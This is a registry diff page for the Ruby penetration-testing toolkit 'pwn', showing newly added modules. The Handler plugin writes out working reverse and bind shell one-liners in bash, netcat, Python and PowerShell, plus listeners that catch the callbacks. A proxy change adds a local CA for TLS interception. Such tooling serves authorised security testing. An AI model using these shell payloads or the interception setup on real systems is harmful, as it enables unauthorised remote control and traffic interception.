pwn 0.5.737 → 0.5.739

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (83) hide show
  1. checksums.yaml +4 -4
  2. data/.rubocop_todo.yml +0 -1
  3. data/Gemfile +2 -2
  4. data/documentation/Agent-Tool-Registry.md +17 -3
  5. data/documentation/Diagrams.md +1 -1
  6. data/documentation/How-PWN-Works.md +1 -1
  7. data/documentation/Plugin-Degradation.md +74 -0
  8. data/documentation/Swarm.md +2 -3
  9. data/documentation/What-is-PWN.md +1 -1
  10. data/documentation/pwn-REPL.md +0 -1
  11. data/documentation/pwn-ai-Agent.md +1 -1
  12. data/etc/default_skills/browser-exploitation/SKILL.md +10 -0
  13. data/etc/default_skills/firmware-unpack-emulate/SKILL.md +10 -0
  14. data/etc/default_skills/heap-exploitation/SKILL.md +11 -0
  15. data/etc/default_skills/kernel-pwn-triage/SKILL.md +11 -0
  16. data/etc/default_skills/pwn/ai/agent/swarm/SKILL.md +1 -1
  17. data/etc/default_skills/pwn/ai/agent/tools/sbom_scan/SKILL.md +45 -0
  18. data/etc/default_skills/pwn/corpus/SKILL.md +52 -0
  19. data/etc/default_skills/pwn/corpus/references/urls.md +3 -0
  20. data/etc/default_skills/pwn/engagement/SKILL.md +55 -0
  21. data/etc/default_skills/pwn/plugins/debugger/SKILL.md +62 -0
  22. data/etc/default_skills/pwn/plugins/fuzz/SKILL.md +1 -0
  23. data/etc/default_skills/pwn/plugins/handler/SKILL.md +52 -0
  24. data/etc/default_skills/pwn/plugins/jobs/SKILL.md +1 -0
  25. data/etc/default_skills/pwn/plugins/mitm_proxy/SKILL.md +1 -0
  26. data/etc/default_skills/pwn/plugins/nmap_it/SKILL.md +1 -0
  27. data/etc/default_skills/pwn/plugins/packet/SKILL.md +1 -0
  28. data/etc/default_skills/pwn/plugins/process_tube/SKILL.md +2 -0
  29. data/etc/default_skills/pwn/plugins/redb/SKILL.md +52 -0
  30. data/etc/default_skills/pwn/plugins/sbom/SKILL.md +48 -0
  31. data/etc/default_skills/pwn/redaction/SKILL.md +1 -0
  32. data/etc/default_skills/rop-jop-chain-construction/SKILL.md +10 -0
  33. data/etc/default_skills/windows-internals-triage/SKILL.md +10 -0
  34. data/lib/pwn/ai/agent/loop.rb +80 -11
  35. data/lib/pwn/ai/agent/prompt_builder.rb +19 -1
  36. data/lib/pwn/ai/agent/registry.rb +34 -4
  37. data/lib/pwn/ai/agent/swarm.rb +4 -5
  38. data/lib/pwn/ai/agent/tool_guard.rb +11 -4
  39. data/lib/pwn/ai/agent/tools/fuzz_campaign.rb +2 -1
  40. data/lib/pwn/ai/agent/tools/job_run.rb +9 -3
  41. data/lib/pwn/ai/agent/tools/pty_session.rb +7 -1
  42. data/lib/pwn/ai/agent/tools/sbom_scan.rb +25 -0
  43. data/lib/pwn/ai/agent/tools/shell.rb +3 -2
  44. data/lib/pwn/ai/agent/tools/swarm.rb +3 -6
  45. data/lib/pwn/ai/agent/turn_finalizer.rb +2 -2
  46. data/lib/pwn/corpus.rb +107 -0
  47. data/lib/pwn/engagement.rb +158 -0
  48. data/lib/pwn/plugins/debugger.rb +284 -0
  49. data/lib/pwn/plugins/findings.rb +14 -3
  50. data/lib/pwn/plugins/fuzz.rb +62 -0
  51. data/lib/pwn/plugins/handler.rb +171 -0
  52. data/lib/pwn/plugins/jobs.rb +55 -0
  53. data/lib/pwn/plugins/mitm_proxy.rb +37 -2
  54. data/lib/pwn/plugins/nmap_it.rb +32 -0
  55. data/lib/pwn/plugins/packet.rb +18 -0
  56. data/lib/pwn/plugins/preflight_checker.rb +6 -2
  57. data/lib/pwn/plugins/process_tube.rb +99 -8
  58. data/lib/pwn/plugins/redb.rb +210 -0
  59. data/lib/pwn/plugins/repl.rb +0 -3
  60. data/lib/pwn/plugins/sbom.rb +145 -0
  61. data/lib/pwn/plugins.rb +4 -0
  62. data/lib/pwn/redaction.rb +53 -0
  63. data/lib/pwn/reports/engagement.rb +2 -1
  64. data/lib/pwn/sessions.rb +3 -1
  65. data/lib/pwn/version.rb +1 -1
  66. data/lib/pwn.rb +2 -0
  67. data/packer/provisioners/irc.sh +1 -1
  68. data/spec/lib/pwn/ai/agent/harness_2026_09_15_spec.rb +144 -0
  69. data/spec/lib/pwn/ai/agent/registry_spec.rb +50 -0
  70. data/spec/lib/pwn/ai/agent/tools/mcp_spec.rb +31 -0
  71. data/spec/lib/pwn/ai/agent/tools/sbom_scan_spec.rb +10 -0
  72. data/spec/lib/pwn/corpus_spec.rb +23 -0
  73. data/spec/lib/pwn/engagement_spec.rb +27 -0
  74. data/spec/lib/pwn/plugins/debugger_spec.rb +27 -0
  75. data/spec/lib/pwn/plugins/handler_spec.rb +25 -0
  76. data/spec/lib/pwn/plugins/redb_spec.rb +33 -0
  77. data/spec/lib/pwn/plugins/repl_spec.rb +7 -1
  78. data/spec/lib/pwn/plugins/sbom_spec.rb +22 -0
  79. data/third_party/pwn_rdoc.jsonl +97 -4
  80. metadata +36 -9
  81. data/etc/default_skills/pwn/plugins/repl/irc/SKILL.md +0 -47
  82. data/lib/pwn/plugins/repl/irc.rb +0 -153
  83. data/spec/lib/pwn/plugins/repl/irc_spec.rb +0 -21
@@ -0,0 +1,171 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'socket'
4
+ require 'openssl'
5
+ require 'securerandom'
6
+ require 'open3'
7
+
8
+ module PWN
9
+ module Plugins
10
+ # Payload generation and listener sessions without Metasploit.
11
+ module Handler
12
+ @sessions = {}
13
+
14
+ public_class_method def self.required_bins
15
+ []
16
+ end
17
+
18
+ public_class_method def self.generate(opts = {})
19
+ kind = (opts[:kind] || 'rev_sh').to_s
20
+ host = (opts[:host] || '127.0.0.1').to_s
21
+ port = (opts[:port] || 4444).to_i
22
+ payload = case kind
23
+ when 'rev_sh' then "bash -c 'exec 3<>/dev/tcp/#{host}/#{port}; cat <&3 | bash >&3'"
24
+ when 'bind_sh' then "bash -c 'while true; do nc -lp #{port} -e /bin/bash; done'"
25
+ when 'rev_python' then "python3 -c 'import socket,os,pty;s=socket.create_connection((#{host.inspect},#{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"
26
+ when 'bind_python' then "python3 -c 'import socket,os,pty;s=socket.socket();s.bind((\"0.0.0.0\",#{port}));s.listen(1);c,_=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);pty.spawn(\"/bin/sh\")'"
27
+ when 'rev_powershell' then "powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('#{host}',#{port});$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$w=($r+'PS> ');$s.Write(([text.encoding]::ASCII).GetBytes($w),0,$w.Length)}\""
28
+ when 'bind_powershell' then "powershell -nop -c \"$l=New-Object Net.Sockets.TcpListener('0.0.0.0',#{port});$l.Start();$c=$l.AcceptTcpClient();$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$w=($r+'PS> ');$s.Write(([text.encoding]::ASCII).GetBytes($w),0,$w.Length)}\""
29
+ when 'msfvenom'
30
+ raise ArgumentError, 'msfvenom is not installed' unless PWN::Plugins::PreflightChecker.bin?(name: 'msfvenom')
31
+
32
+ out, = Open3.capture2('msfvenom', *Array(opts[:args]).map(&:to_s))
33
+ out
34
+ else
35
+ raise ArgumentError, "unknown payload kind #{kind}"
36
+ end
37
+ { kind: kind, host: host, port: port, payload: payload }
38
+ end
39
+
40
+ public_class_method def self.listen(opts = {})
41
+ port = (opts[:port] || 4444).to_i
42
+ tls = opts[:tls] == true
43
+ http = opts[:http] == true || opts[:kind].to_s == 'http'
44
+ server = TCPServer.new(opts[:bind] || '127.0.0.1', port)
45
+ if tls
46
+ ctx = OpenSSL::SSL::SSLContext.new
47
+ ctx.cert, ctx.key = self_signed
48
+ server = OpenSSL::SSL::SSLServer.new(server, ctx)
49
+ end
50
+ id = "listener_#{SecureRandom.hex(4)}"
51
+ queue = Queue.new
52
+ thread = Thread.new do
53
+ sock = server.accept
54
+ if http
55
+ begin
56
+ sock.readpartial(4096)
57
+ rescue StandardError
58
+ nil
59
+ end
60
+ end
61
+ queue << sock
62
+ end
63
+ @sessions[id] = { server: server, thread: thread, queue: queue, port: port, tls: tls, http: http, kind: :listener }
64
+ { id: id, port: port, tls: tls, http: http }
65
+ end
66
+
67
+ public_class_method def self.accept(opts = {})
68
+ sess = session!(opts)
69
+ sock = sess[:queue].pop
70
+ PWN::Plugins::ProcessTube.register(io: sock, id: "cb_#{SecureRandom.hex(4)}").tap do |tube|
71
+ sess[:callback] = tube[:id]
72
+ end.merge(listener: sess_id(opts), port: sess[:port])
73
+ end
74
+
75
+ public_class_method def self.interact(opts = {})
76
+ id = (opts[:id] || opts[:session]).to_s
77
+ PWN::Plugins::ProcessTube.write_line(id: id, line: opts[:line].to_s) if opts[:line]
78
+ if opts[:pattern]
79
+ PWN::Plugins::ProcessTube.expect(id: id, pattern: opts[:pattern], timeout: opts[:timeout] || 5, strip_ansi: true)
80
+ else
81
+ PWN::Plugins::ProcessTube.recvline(id: id, timeout: opts[:timeout] || 5)
82
+ end
83
+ end
84
+
85
+ public_class_method def self.stop(opts = {})
86
+ id = (opts[:id] || opts[:handle]).to_s
87
+ sess = @sessions.delete(id)
88
+ sess[:server].close if sess && sess[:server]
89
+ { stopped: id }
90
+ end
91
+
92
+ public_class_method def self.authors
93
+ "AUTHOR(S):\n 0day Inc. <support@0dayinc.com>\n"
94
+ end
95
+
96
+ public_class_method def self.help
97
+ puts "USAGE:
98
+ # List host binaries this module expects to be installed.
99
+ #{self}.required_bins
100
+
101
+ # Generate a reverse or bind payload string without Metasploit.
102
+ #{self}.generate(
103
+ kind: 'optional - rev_sh, bind_sh, rev_python, bind_python, rev_powershell, bind_powershell, or msfvenom',
104
+ host: 'optional - callback host (defaults to 127.0.0.1)',
105
+ port: 'optional - callback or bind port (defaults to 4444)',
106
+ args: 'optional - extra argv for msfvenom passthrough'
107
+ )
108
+
109
+ # Start a TCP or TLS listener on loopback.
110
+ #{self}.listen(
111
+ port: 'optional - listen port (defaults to 4444)',
112
+ bind: 'optional - bind address (defaults to 127.0.0.1)',
113
+ tls: 'optional - true to wrap the listener in TLS',
114
+ http: 'optional - true to accept an HTTP reverse callback',
115
+ kind: 'optional - http to enable the HTTP listener'
116
+ )
117
+
118
+ # Accept one callback and register it as a ProcessTube session.
119
+ #{self}.accept(
120
+ id: 'required - listener id from listen',
121
+ handle: 'optional - alias for id'
122
+ )
123
+
124
+ # Send a line and optionally expect a pattern on a caught session.
125
+ #{self}.interact(
126
+ id: 'required - callback id from accept',
127
+ session: 'optional - alias for id',
128
+ line: 'optional - command to send',
129
+ pattern: 'optional - regex or string to wait for',
130
+ timeout: 'optional - seconds to wait'
131
+ )
132
+
133
+ # Stop a listener handle.
134
+ #{self}.stop(
135
+ id: 'required - listener id from listen',
136
+ handle: 'optional - alias for id'
137
+ )
138
+
139
+ # Print the AUTHOR(S) string for this module.
140
+ #{self}.authors
141
+ "
142
+ constants.sort
143
+ end
144
+
145
+ private_class_method def self.session!(opts = {})
146
+ id = (opts[:id] || opts[:handle]).to_s
147
+ sess = @sessions[id]
148
+ raise ArgumentError, "unknown handler session #{id}" unless sess
149
+
150
+ sess
151
+ end
152
+
153
+ private_class_method def self.sess_id(opts = {})
154
+ (opts[:id] || opts[:handle]).to_s
155
+ end
156
+
157
+ private_class_method def self.self_signed
158
+ key = OpenSSL::PKey::RSA.new(2048)
159
+ cert = OpenSSL::X509::Certificate.new
160
+ cert.subject = cert.issuer = OpenSSL::X509::Name.parse('/CN=pwn-handler')
161
+ cert.not_before = Time.now
162
+ cert.not_after = Time.now + 3_600
163
+ cert.public_key = key.public_key
164
+ cert.serial = 1
165
+ cert.version = 2
166
+ cert.sign(key, OpenSSL::Digest.new('SHA256'))
167
+ [cert, key]
168
+ end
169
+ end
170
+ end
171
+ end
@@ -5,6 +5,7 @@ require 'fileutils'
5
5
  require 'securerandom'
6
6
  require 'open3'
7
7
  require 'time'
8
+ require 'timeout'
8
9
 
9
10
  module PWN
10
11
  module Plugins
@@ -132,6 +133,53 @@ module PWN
132
133
  false
133
134
  end
134
135
 
136
+ public_class_method def self.graph(opts = {})
137
+ jobs = Array(opts[:jobs])
138
+ raise ArgumentError, 'jobs must be an Array of hashes with id and command' unless jobs.all?(Hash)
139
+
140
+ dir = opts[:artifact_dir] || File.join(JOBS_DIR, "graph-#{SecureRandom.hex(4)}")
141
+ FileUtils.mkdir_p(dir)
142
+ remaining = jobs.map { |job| job.transform_keys(&:to_sym) }
143
+ done = {}
144
+ until remaining.empty?
145
+ loop do
146
+ failed = done.select { |_id, row| row[:ok] == false }.keys
147
+ blocked = remaining.select { |job| Array(job[:needs]).any? { |need| failed.include?(need.to_s) } }
148
+ break if blocked.empty?
149
+
150
+ blocked.each do |job|
151
+ done[job[:id].to_s] = { id: job[:id], ok: false, skipped: true, stdout: '', stderr: 'upstream failed' }
152
+ remaining.delete(job)
153
+ end
154
+ end
155
+ ready = remaining.select { |job| Array(job[:needs]).all? { |need| done[need.to_s] && done[need.to_s][:ok] } }
156
+ raise ArgumentError, 'job graph deadlock or missing needs' if ready.empty? && remaining.any?
157
+
158
+ threads = ready.map do |job|
159
+ remaining.delete(job)
160
+ Thread.new do
161
+ timeout = (job[:timeout] || opts[:timeout]).to_f
162
+ timeout = 3_600 if timeout <= 0
163
+ out = err = ''
164
+ st = nil
165
+ begin
166
+ Timeout.timeout(timeout) do
167
+ out, err, st = Open3.capture3(job[:command].to_s, chdir: dir)
168
+ end
169
+ { id: job[:id], ok: st.success?, stdout: out, stderr: err, exit: st.exitstatus }
170
+ rescue Timeout::Error
171
+ { id: job[:id], ok: false, stdout: out, stderr: 'timeout', exit: 124, timeout: true }
172
+ end
173
+ end
174
+ end
175
+ threads.each do |thr|
176
+ row = thr.value
177
+ done[row[:id].to_s] = row
178
+ end
179
+ end
180
+ { jobs: done, artifact_dir: dir, ok: done.values.none? { |row| row[:ok] == false && row[:skipped] != true } && done.values.any? { |row| row[:ok] } }
181
+ end
182
+
135
183
  public_class_method def self.authors
136
184
  "AUTHOR(S):\n 0day Inc. <support@0dayinc.com>\n"
137
185
  end
@@ -216,6 +264,13 @@ module PWN
216
264
  id: 'optional - job id alias for handle'
217
265
  )
218
266
 
267
+ # Run a declarative DAG of shell jobs with needs and a shared artifact dir.
268
+ #{self}.graph(
269
+ jobs: 'required - Array of hashes with id, command, optional needs and timeout',
270
+ artifact_dir: 'optional - working directory shared by every job',
271
+ timeout: 'optional - default per-job timeout in seconds'
272
+ )
273
+
219
274
  # Print the AUTHOR(S) string for this module.
220
275
  #{self}.authors
221
276
  "
@@ -8,6 +8,7 @@ require 'securerandom'
8
8
  require 'time'
9
9
  require 'fileutils'
10
10
  require 'tmpdir'
11
+ require 'openssl'
11
12
 
12
13
  module PWN
13
14
  module Plugins
@@ -48,7 +49,8 @@ module PWN
48
49
  path = File.expand_path(opts[:har_path] || File.join(Dir.tmpdir, "pwn-proxy-#{id}.har"))
49
50
  rules = validate_rules(rules: opts[:rules])
50
51
  session = { id: id, backend: 'native', har_path: path, rules: rules, entries: [], mutex: Mutex.new,
51
- timeout: Float(opts[:timeout] || 30), https_capture: 'CONNECT metadata only; TLS is not decrypted' }
52
+ timeout: Float(opts[:timeout] || 30), https_capture: opts[:mitm_tls] ? 'TLS MITM' : 'CONNECT metadata only; TLS is not decrypted',
53
+ on_request: opts[:on_request], on_response: opts[:on_response], ca: self_signed_ca }
52
54
  server = Server.new(BindAddress: opts[:host] || '127.0.0.1', Port: Integer(opts[:port] || 0),
53
55
  Logger: WEBrick::Log.new(File::NULL), AccessLog: [], PWNSession: session,
54
56
  ProxyContentHandler: lambda { |req, res|
@@ -122,6 +124,7 @@ module PWN
122
124
  public_class_method def self.exchange(opts = {})
123
125
  session = lookup(opts)
124
126
  request = Marshal.load(Marshal.dump(opts.fetch(:request)))
127
+ session[:on_request]&.call(request)
125
128
  apply_rules(proxy: session, phase: 'request', message: request)
126
129
  uri = URI(request[:url])
127
130
  raise ArgumentError, 'HTTP(S) URL without userinfo required' unless %w[http https].include?(uri.scheme) && uri.host && !uri.userinfo
@@ -140,6 +143,7 @@ module PWN
140
143
  clock = Process.clock_gettime(Process::CLOCK_MONOTONIC)
141
144
  response = client.request(wire)
142
145
  message = { headers: response.to_hash.transform_values { |v| v.join(', ') }, body: response.body.to_s }
146
+ session[:on_response]&.call(message)
143
147
  apply_rules(proxy: session, phase: 'response', message: message)
144
148
  elapsed = (Process.clock_gettime(Process::CLOCK_MONOTONIC) - clock) * 1000
145
149
  response_headers = clean_headers(headers: message[:headers]).map { |k, v| { name: k, value: v } }
@@ -158,6 +162,22 @@ module PWN
158
162
  entry
159
163
  end
160
164
 
165
+ private_class_method def self.self_signed_ca(opts = {})
166
+ _unused = opts[:unused]
167
+ key = OpenSSL::PKey::RSA.new(2048)
168
+ cert = OpenSSL::X509::Certificate.new
169
+ cert.subject = cert.issuer = OpenSSL::X509::Name.parse('/CN=pwn-mitm-ca')
170
+ cert.not_before = Time.now
171
+ cert.not_after = Time.now + (365 * 24 * 3600)
172
+ cert.public_key = key.public_key
173
+ cert.serial = 1
174
+ cert.version = 2
175
+ ef = OpenSSL::X509::ExtensionFactory.new
176
+ cert.add_extension(ef.create_extension('basicConstraints', 'CA:TRUE', true))
177
+ cert.sign(key, OpenSSL::Digest.new('SHA256'))
178
+ { cert: cert, key: key }
179
+ end
180
+
161
181
  private_class_method def self.encoded(opts = {})
162
182
  body = opts[:body].dup.force_encoding(Encoding::UTF_8)
163
183
  body.valid_encoding? ? { text: body } : { text: Base64.strict_encode64(body), encoding: 'base64' }
@@ -232,6 +252,11 @@ module PWN
232
252
  FileUtils.rm_f(tmp) if tmp
233
253
  end
234
254
 
255
+ public_class_method def self.replay(opts = {})
256
+ _id = opts[:request_id]
257
+ http_replay(opts)
258
+ end
259
+
235
260
  public_class_method def self.authors
236
261
  "AUTHOR(S):\n 0day Inc. <support@0dayinc.com>\n"
237
262
  end
@@ -245,7 +270,10 @@ module PWN
245
270
  port: 'optional - bind port, default ephemeral',
246
271
  backend: 'optional - native (only supported backend)',
247
272
  rules: 'optional - literal phase/field/match/replace rules',
248
- timeout: 'optional - upstream timeout seconds, default 30'
273
+ timeout: 'optional - upstream timeout seconds, default 30',
274
+ on_request: 'optional - callable that mutates the request hash',
275
+ on_response: 'optional - callable that mutates the response hash',
276
+ mitm_tls: 'optional - true generates a local CA for TLS interception'
249
277
  )
250
278
 
251
279
  # Return a snapshot of captured HAR entries.
@@ -264,6 +292,13 @@ module PWN
264
292
  mutations: 'optional - method, url, path, query, headers, body'
265
293
  )
266
294
 
295
+ # Alias of http_replay for pwn_eval callers.
296
+ #{self}.replay(
297
+ proxy: 'required - descriptor or session id',
298
+ request_id: 'required - captured _request_id',
299
+ mutations: 'optional - method, url, path, query, headers, body'
300
+ )
301
+
267
302
  # Send and capture one HTTP request through the shared rule engine.
268
303
  #{self}.exchange(
269
304
  proxy: 'required - descriptor or session id',
@@ -3,6 +3,8 @@
3
3
  require 'nmap/command'
4
4
  require 'nmap/xml'
5
5
  require 'open3'
6
+ require 'securerandom'
7
+ require 'tmpdir'
6
8
 
7
9
  module PWN
8
10
  module Plugins
@@ -124,12 +126,15 @@ module PWN
124
126
  parse_xml_results(xml_file: xml_file) do |xml|
125
127
  xml.each_host do |host|
126
128
  host.each_port do |port|
129
+ scripts = {}
130
+ port.scripts.each { |name, output| scripts[name.to_s] = output.to_s } if port.respond_to?(:scripts) && port.scripts
127
131
  rows << {
128
132
  host: host.ip.to_s,
129
133
  port: port.number,
130
134
  proto: port.protocol.to_s,
131
135
  service: (port.service.name if port.respond_to?(:service) && port.service),
132
136
  version: (port.service.version if port.respond_to?(:service) && port.service.respond_to?(:version)),
137
+ scripts: scripts,
133
138
  template_id: nil,
134
139
  severity: 'info'
135
140
  }
@@ -139,6 +144,22 @@ module PWN
139
144
  rows
140
145
  end
141
146
 
147
+ public_class_method def self.scan(opts = {})
148
+ targets = opts[:targets] || opts[:target]
149
+ check = PWN::Engagement.warn_unless_in_scope(host: Array(targets).first, override: opts[:override]) if defined?(PWN::Engagement) && opts[:engagement] != false
150
+ return check.merge(scanned: false) if check.is_a?(Hash) && check[:ok] == false
151
+
152
+ xml = (opts[:xml_file] || opts[:xml]).to_s
153
+ if xml.empty? || opts[:run] == true
154
+ xml = File.join(Dir.tmpdir, "pwn-nmap-#{Process.pid}-#{SecureRandom.hex(4)}.xml") if xml.empty?
155
+ port_scan(opts.merge(xml: xml, targets: targets))
156
+ end
157
+ rows = to_findings(xml_file: xml)
158
+ PWN::Engagement.merge_scan(results: rows, override: opts[:override], engagement: opts[:engagement] || opts[:name]) if defined?(PWN::Engagement) && opts[:engagement] != false
159
+ grouped = rows.group_by { |row| row[:host] }.map { |host, ports| { host: host, ports: ports, services: ports.map { |p| p[:service] }.compact } }
160
+ { hosts: grouped, ports: rows, xml: xml }
161
+ end
162
+
142
163
  # Author(s):: 0day Inc. <support@0dayinc.com>
143
164
 
144
165
  public_class_method def self.authors
@@ -178,6 +199,17 @@ module PWN
178
199
  xml_file: 'required - path to nmap XML output'
179
200
  )
180
201
 
202
+ # Parse nmap XML into enumerable host/port hashes and merge engagement state.
203
+ #{self}.scan(
204
+ xml_file: 'optional - existing nmap XML path',
205
+ xml: 'optional - alias for xml_file',
206
+ run: 'optional - true forces port_scan even when xml_file is set',
207
+ engagement: 'optional - false skips host-state merge',
208
+ override: 'optional - true records out-of-scope hosts',
209
+ target: 'optional - alias for targets',
210
+ name: 'optional - engagement name for host-state merge'
211
+ )
212
+
181
213
  # Print the AUTHOR(S) string for this module.
182
214
  #{self}.authors
183
215
  "
@@ -1151,6 +1151,18 @@ module PWN
1151
1151
  { ok: false, degraded: true, error: e.message }
1152
1152
  end
1153
1153
 
1154
+ public_class_method def self.health(opts = {})
1155
+ require 'pwn/plugins/capability_broker'
1156
+ result = CapabilityBroker.request(operation: 'status', socket: opts[:socket])
1157
+ if result[:ok]
1158
+ { ok: true, degraded: false, via: 'capability_broker', missing_capabilities: [] }
1159
+ elsif cap_net_raw?(iface: opts[:iface])
1160
+ { ok: true, degraded: false, via: 'cap_net_raw' }
1161
+ else
1162
+ result.merge(ok: false, degraded: true, missing_capabilities: ['CAP_NET_RAW'])
1163
+ end
1164
+ end
1165
+
1154
1166
  # Author(s):: 0day Inc. <support@0dayinc.com>
1155
1167
 
1156
1168
  public_class_method def self.authors
@@ -1404,6 +1416,12 @@ module PWN
1404
1416
  socket: 'optional - local capability broker Unix socket path'
1405
1417
  )
1406
1418
 
1419
+ # Report ok when the capability broker or live CAP_NET_RAW is available.
1420
+ #{self}.health(
1421
+ socket: 'optional - local capability broker Unix socket path',
1422
+ iface: 'optional - interface name reserved for callers'
1423
+ )
1424
+
1407
1425
  # Print the AUTHOR(S) string for this module.
1408
1426
  #{self}.authors
1409
1427
  "
@@ -165,7 +165,10 @@ module PWN
165
165
  services = Array(dep[:services])
166
166
  missing_bins = bins.reject { |b| bin?(name: b) }
167
167
  missing_caps = []
168
- missing_caps << 'CAP_NET_RAW' if caps.include?('CAP_NET_RAW') && !cap_net_raw?
168
+ if caps.include?('CAP_NET_RAW')
169
+ pkt_ok = defined?(PWN::Plugins::Packet) && PWN::Plugins::Packet.respond_to?(:health) && PWN::Plugins::Packet.health[:ok]
170
+ missing_caps << 'CAP_NET_RAW' unless pkt_ok || cap_net_raw?
171
+ end
169
172
  missing_services = services.reject { |s| service?(name: s[:name] || s['name'], path: s[:path] || s['path']) }.map { |s| s[:name] || s['name'] }
170
173
  status = if missing_bins.empty? && missing_caps.empty? && missing_services.empty?
171
174
  :ok
@@ -188,7 +191,8 @@ module PWN
188
191
  miss = (Array(r[:missing_bins]) + Array(r[:missing_caps]) + Array(r[:missing_services])).join(',')
189
192
  fb = Array(FALLBACKS[r[:plugin]]).join(',')
190
193
  extra = fb.empty? ? '' : " fallback=#{fb}"
191
- lines << " #{r[:status]} #{r[:plugin]} missing=#{miss}#{extra}"
194
+ anchor = r[:plugin].to_s.downcase.gsub(/[^a-z0-9]+/, '-').gsub(/\A-+|-+\z/, '')
195
+ lines << " #{r[:status]} #{r[:plugin]} missing=#{miss}#{extra} see documentation/Plugin-Degradation.md##{anchor}"
192
196
  end
193
197
  lines.join("\n")
194
198
  end
@@ -3,6 +3,7 @@
3
3
  require 'pty'
4
4
  require 'timeout'
5
5
  require 'socket'
6
+ require 'securerandom'
6
7
 
7
8
  module PWN
8
9
  module Plugins
@@ -32,7 +33,7 @@ module PWN
32
33
 
33
34
  sock = TCPSocket.new(host, port)
34
35
  id = "sock_#{sock.object_id}"
35
- @tubes[id] = { r: sock, w: sock, pid: nil, buf: +'' }
36
+ @tubes[id] = { r: sock, w: sock, pid: nil, buf: +'', scrollback: +'', started_at: Time.now, last_io: Time.now }
36
37
  { id: id, host: host, port: port }
37
38
  end
38
39
 
@@ -58,10 +59,11 @@ module PWN
58
59
  timeout = (opts[:timeout] || 5).to_f
59
60
  Timeout.timeout(timeout) do
60
61
  loop do
61
- return t[:buf] if t[:buf].include?(needle)
62
+ idx = t[:buf].index(needle)
63
+ return consume_buf(tube: t, bytes: idx + needle.bytesize) if idx
62
64
 
63
65
  ch = t[:r].read_nonblock(4_096)
64
- t[:buf] << ch
66
+ append_buf(tube: t, data: ch)
65
67
  rescue IO::WaitReadable
66
68
  t[:r].wait_readable(0.2)
67
69
  retry
@@ -86,10 +88,54 @@ module PWN
86
88
  false
87
89
  end
88
90
 
91
+ public_class_method def self.send_raw(opts = {})
92
+ t = tube!(opts)
93
+ bytes = opts[:bytes] || opts[:data]
94
+ raise ArgumentError, 'bytes is required' if bytes.nil?
95
+
96
+ data = bytes.is_a?(String) ? bytes.b : Array(bytes).pack('C*')
97
+ t[:w].write(data)
98
+ t[:w].flush
99
+ t[:last_io] = Time.now
100
+ note_scrollback(tube: t, data: data)
101
+ { written: data.bytesize, id: (opts[:id] || opts[:name]).to_s }
102
+ end
103
+
104
+ public_class_method def self.register(opts = {})
105
+ io = opts[:io] || opts[:r]
106
+ raise ArgumentError, 'io is required' unless io
107
+
108
+ id = (opts[:id] || "sock_#{SecureRandom.hex(4)}").to_s
109
+ @tubes[id] = { r: io, w: opts[:w] || io, pid: opts[:pid], buf: +'', scrollback: +'', started_at: Time.now, last_io: Time.now }
110
+ { id: id }
111
+ end
112
+
89
113
  public_class_method def self.expect(opts = {})
90
- text = recvuntil(opts)
91
114
  t = tube!(opts)
92
- { matched: text, offset: t[:buf].to_s.bytesize, id: opts[:id].to_s }
115
+ pattern = opts[:pattern] || opts[:until]
116
+ raise ArgumentError, 'pattern is required' if pattern.nil? || pattern.to_s.empty?
117
+
118
+ timeout = (opts[:timeout] || 5).to_f
119
+ Timeout.timeout(timeout) do
120
+ loop do
121
+ hay = t[:buf].to_s
122
+ hay = hay.gsub(/\e\[[0-9;]*[A-Za-z]/, '') if opts[:strip_ansi]
123
+ if pattern.is_a?(Regexp)
124
+ if (m = hay.match(pattern))
125
+ consume_buf(tube: t, bytes: m.end(0))
126
+ return { matched: m[0], offset: m.begin(0), id: (opts[:id] || opts[:name]).to_s }
127
+ end
128
+ elsif (idx = hay.index(pattern.to_s))
129
+ take = consume_buf(tube: t, bytes: idx + pattern.to_s.bytesize)
130
+ return { matched: take, offset: idx, id: (opts[:id] || opts[:name]).to_s }
131
+ end
132
+ ch = t[:r].read_nonblock(4_096)
133
+ append_buf(tube: t, data: ch)
134
+ rescue IO::WaitReadable
135
+ t[:r].wait_readable(0.2)
136
+ retry
137
+ end
138
+ end
93
139
  end
94
140
 
95
141
  public_class_method def self.stream(opts = {})
@@ -183,11 +229,31 @@ module PWN
183
229
  id: 'optional - id value consumed by #close'
184
230
  )
185
231
 
186
- # Expect a pattern and return matched buffer plus byte offset.
232
+ # Expect a regex or substring, optionally stripping ANSI.
187
233
  #{self}.expect(
188
234
  id: 'required - tube id from spawn or connect',
189
- until: 'required - substring to wait for',
190
- timeout: 'optional - seconds to wait before giving up'
235
+ name: 'optional - alias for id',
236
+ until: 'optional - substring to wait for',
237
+ pattern: 'optional - regex or string to wait for',
238
+ timeout: 'optional - seconds to wait before giving up',
239
+ strip_ansi: 'optional - true removes CSI sequences before matching'
240
+ )
241
+
242
+ # Write raw bytes without appending a newline.
243
+ #{self}.send_raw(
244
+ id: 'required - tube id from spawn or connect',
245
+ name: 'optional - alias for id',
246
+ bytes: 'required - String or byte Array to write',
247
+ data: 'optional - alias for bytes'
248
+ )
249
+
250
+ # Register an existing IO as a named tube.
251
+ #{self}.register(
252
+ io: 'required - readable/writable IO object',
253
+ r: 'optional - alias for io',
254
+ w: 'optional - write IO when split from r',
255
+ id: 'optional - tube name to assign',
256
+ pid: 'optional - associated process id'
191
257
  )
192
258
 
193
259
  # Tail the PTY buffer since a prior offset.
@@ -225,6 +291,31 @@ module PWN
225
291
  t
226
292
  end
227
293
 
294
+ BUF_MAX = 1_048_576
295
+
296
+ private_class_method def self.append_buf(opts = {})
297
+ t = opts[:tube]
298
+ t[:buf] << opts[:data].to_s
299
+ t[:buf].slice!(0, t[:buf].bytesize - BUF_MAX) if t[:buf].bytesize > BUF_MAX
